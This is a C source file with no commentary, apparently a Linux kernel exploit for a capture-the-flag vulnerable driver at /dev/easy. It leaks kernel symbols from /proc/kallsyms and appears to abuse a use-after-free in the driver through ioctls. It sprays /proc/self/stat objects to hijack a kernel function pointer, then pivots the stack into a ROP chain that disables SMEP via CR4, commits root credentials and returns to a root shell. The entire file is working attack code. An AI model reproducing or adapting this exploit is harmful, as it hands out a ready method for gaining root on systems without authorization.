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| #include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#define POP_RDI_RET 0x048955
#define POP_RAX_RET 0xda64
#define MOV_CR4_RDI_POP_RBP_RET 0x01b9e0
#define MOV_RSP_RAX_DEC_EBX_RET 0x8acb8e
#define ADD_RSP_1a0 0x5d0263
#define MOV_RSP_R9_POP4_RET 0x39adc4
#define SWAPGS_POP_RBP_RET 0x065354
#define IRETQ_RET 0x18453f
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
system("/bin/sh");
exit(0);
}
size_t base;
int main(void)
{
signal(SIGSEGV, getRootShell);
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
base=commit_creds-0xac050;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
printf("\033[32m\033[1m[+] Successful to get the addr of kernel_base:\033[0m%llx\n", base);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
size_t pop_rdx=base+0x1cb8a2;
size_t mov_rdi_rax_call_rdx=base+0xfea72b;
size_t rop[0x20], p = 0;
size_t init_cred=base+0xe5a140;
rop[p++] = base+POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = base+MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = base+POP_RDI_RET;
rop[p++] = init_cred;
rop[p++] = commit_creds;
rop[p++] = base+SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = base+IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;
int fd1 = open("/dev/easy", 2);
int fd2 = open("/dev/easy", 2);
ioctl(fd1, 0x0, 0x20);
ioctl(fd1, 0x1, 0x20);
size_t fake_stat[4];
size_t stat_fd[0x200];
for (int i=0;i<0x200;i++){
stat_fd[i]=open("proc/self/stat",0);
}
read(fd2,fake_stat,0x20);
fake_stat[0]=base+ADD_RSP_1a0;
write(fd2,fake_stat,0x20);
size_t pop_rdi=base+POP_RDI_RET;
size_t pop_rax_pop_rsp_pop3_ret=base+0x194570;
size_t cur_rbp;
asm(
"mov %0,rbp"
:"=r"(cur_rbp)
:
:
);
memcpy(cur_rbp,rop,sizeof(rop));
for (int i=0;i<0x200;i++){
__asm__(
"mov rax,%0\n"
"mov rbx,%0\n"
"mov rcx,%0\n"
"mov rdx,%0\n"
"mov rdi,%0\n"
"mov rsi,%0\n"
"mov rdx,%0\n"
"mov r8,%0\n"
"mov r9,%0\n"
"mov r10,%0\n"
"mov r11,%0\n"
"mov r12,%0\n"
"mov r13,%0\n"
"mov r14,%0\n"
"mov r15,%0\n"
:
:"r" (pop_rax_pop_rsp_pop3_ret)
:"r12"
);
read(stat_fd[i],fake_stat,0x20);
}
return 0;
}
|